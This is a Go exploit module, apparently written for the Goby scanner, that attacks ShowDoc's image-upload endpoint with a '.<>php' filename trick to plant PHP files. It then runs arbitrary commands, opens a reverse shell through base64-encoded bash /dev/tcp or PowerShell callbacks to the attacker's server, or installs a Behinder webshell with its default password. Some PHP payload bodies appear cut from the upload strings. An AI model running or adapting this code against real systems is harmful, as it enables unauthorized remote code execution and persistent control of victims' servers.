package exploits import ( "encoding/base64" "fmt" "log" "net/url" "regexp" "strings" "time" "git.gobies.org/goby/goscanner/godclient" "git.gobies.org/goby/goscanner/goutils" "git.gobies.org/goby/goscanner/jsonvul" "git.gobies.org/goby/goscanner/scanconfig" "git.gobies.org/goby/httpclient" ) func init() { expJson := `{ "Name": "showDocGo", "Description": "", "Product": "", "Homepage": "https://gobies.org/", "DisclosureDate": "2021-06-21", "Author": "gobysec@gmail.com", "GobyQuery": "app=\"ShowDoc\"", "Level": "3", "Impact": "", "Recommandation": "", "References": [ "https://gobies.org/" ], "HasExp": true, "ExpParams": [ { "name": "AttackType", "type": "select", "value": "goby_shell,cmd,冰蝎" }, { "name": "cmd", "type": "input", "value": "whoami", "show": "AttackType=cmd" } ], "ExpTips": { "Type": "", "Content": "" }, "ScanSteps": [ "AND" ], "ExploitSteps": null, "Tags": [], "CVEIDs": null, "CVSSScore": "0.0", "AttackSurfaces": { "Application": null, "Support": null, "Service": null, "System": null, "Hardware": null } }` ExpManager.AddExploit(NewExploit( goutils.GetFileName(), expJson, func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { uri := "/index.php?s=/home/page/uploadImg" randString := goutils.RandomHexString(16) cfg := httpclient.NewPostRequestConfig(uri) cfg.Header.Store("Content-Type", "multipart/form-data; boundary=--------------------------921378126371623762173617") cfg.VerifyTls = false cfg.Data = fmt.Sprintf("----------------------------921378126371623762173617\nContent-Disposition: form-data; name=\"editormd-image-file\"; filename=\"%s.<>php\"\nContent-Type: text/plain\n\n\n----------------------------921378126371623762173617--", randString[:4], randString) if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "Public") && strings.Contains(resp.Utf8Html, "Uploads") && strings.Contains(resp.Utf8Html, "success") { file := regexp.MustCompile(`.*Uploads\\\/.*\\\/(.*?)\"`).FindStringSubmatch(resp.Utf8Html) date := regexp.MustCompile(`.*Uploads\\\/(.*?)\\\/.*`).FindStringSubmatch(resp.Utf8Html) deleteUrl := fmt.Sprintf("%s/Public/Uploads/%s/%s", u.FixedHostInfo, date[1], file[1]) fmt.Println(deleteUrl) if resp, err := httpclient.SimpleGet(deleteUrl); err == nil { if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, randString) { return true } } } } return false }, func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { if ss.Params["AttackType"].(string) == "cmd" { uri := "/index.php?s=/home/page/uploadImg" cfg := httpclient.NewPostRequestConfig(uri) cfg.Header.Store("Content-Type", "multipart/form-data; boundary=--------------------------921378126371623762173617") cfg.VerifyTls = false randKey := goutils.RandomHexString(4) cmd := ss.Params["cmd"].(string) cfg.Data = fmt.Sprintf("----------------------------921378126371623762173617\nContent-Disposition: form-data; name=\"editormd-image-file\"; filename=\"test.<>php\"\nContent-Type: text/plain\n\n\n----------------------------921378126371623762173617--", randKey) if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { if resp.StatusCode == 200 { file := regexp.MustCompile(`.*Uploads\\\/.*\\\/(.*?)\"`).FindStringSubmatch(resp.Utf8Html) date := regexp.MustCompile(`.*Uploads\\\/(.*?)\\\/.*`).FindStringSubmatch(resp.Utf8Html) cmdUrl := fmt.Sprintf("%s/Public/Uploads/%s/%s?%s=%s", expResult.HostInfo.FixedHostInfo, date[1], file[1], randKey, cmd) if resp, err := httpclient.SimpleGet(cmdUrl); err == nil { expResult.Output = resp.Utf8Html expResult.Success = true } } } } else if ss.Params["AttackType"].(string) == "goby_shell" { //反弹shell waitSessionCh := make(chan string) // 第一步,要获取到反连端口 rp if rp, err := godclient.WaitSession("reverse_windows", waitSessionCh); err != nil || len(rp) == 0 { log.Println("[WARNING] godclient bind failed", err) } else { // 第二步,使用拿到的反连端口 rp 生成需要执行的命令 // ReverseTCPByBash(rp) 返回的是 bash -i >& /dev/tcp/godserver/rp uri := "/index.php?s=/home/page/uploadImg" cfg := httpclient.NewPostRequestConfig(uri) cfg.Header.Store("Content-Type", "multipart/form-data; boundary=--------------------------921378126371623762173617") cfg.VerifyTls = false winCmd := base64.StdEncoding.EncodeToString([]byte(godclient.ReverseTCPByPowershell(rp))) linuxCmd := base64.StdEncoding.EncodeToString([]byte(godclient.ReverseTCPByBash(rp))) cfg.Data = fmt.Sprintf("----------------------------921378126371623762173617\nContent-Disposition: form-data; name=\"editormd-image-file\"; filename=\"test.<>php\"\nContent-Type: text/plain\n\n /dev/null &\"); \n};\nunlink(__FILE__);?>\n----------------------------921378126371623762173617--", winCmd, linuxCmd) if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { if resp.StatusCode == 200 { file := regexp.MustCompile(`.*Uploads\\\/.*\\\/(.*?)\"`).FindStringSubmatch(resp.Utf8Html) date := regexp.MustCompile(`.*Uploads\\\/(.*?)\\\/.*`).FindStringSubmatch(resp.Utf8Html) revereUrl := fmt.Sprintf("%s/Public/Uploads/%s/%s", expResult.HostInfo.FixedHostInfo, date[1], file[1]) go httpclient.SimpleGet(revereUrl) // 固定格式,等待目标反弹 shell,若 15 秒内没收到连接请求,认为执行失败 select { case webConsleID := <-waitSessionCh: log.Println("[DEBUG] session created at:", webConsleID) if u, err := url.Parse(webConsleID); err == nil { expResult.Success = true expResult.OutputType = "html" sid := strings.Join(u.Query()["id"], "") expResult.Output += `
open shell` } case <-time.After(time.Second * 15): } } } } } else { uri := "/index.php?s=/home/page/uploadImg" cfg := httpclient.NewPostRequestConfig(uri) cfg.Header.Store("Content-Type", "multipart/form-data; boundary=--------------------------921378126371623762173617") cfg.VerifyTls = false cfg.Data = "----------------------------921378126371623762173617\nContent-Disposition: form-data; name=\"editormd-image-file\"; filename=\"test.<>php\"\nContent-Type: text/plain\n\n\n----------------------------921378126371623762173617--" if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "Public") && strings.Contains(resp.Utf8Html, "Uploads") && strings.Contains(resp.Utf8Html, "success") { file := regexp.MustCompile(`.*Uploads\\\/.*\\\/(.*?)\"`).FindStringSubmatch(resp.Utf8Html) date := regexp.MustCompile(`.*Uploads\\\/(.*?)\\\/.*`).FindStringSubmatch(resp.Utf8Html) behinderUrl := fmt.Sprintf("%s/Public/Uploads/%s/%s", expResult.HostInfo, date[1], file[1]) expResult.Output = "冰蝎Url:" + behinderUrl + "\n默认密码:rebeyond" expResult.Success = true } } } return expResult }, )) }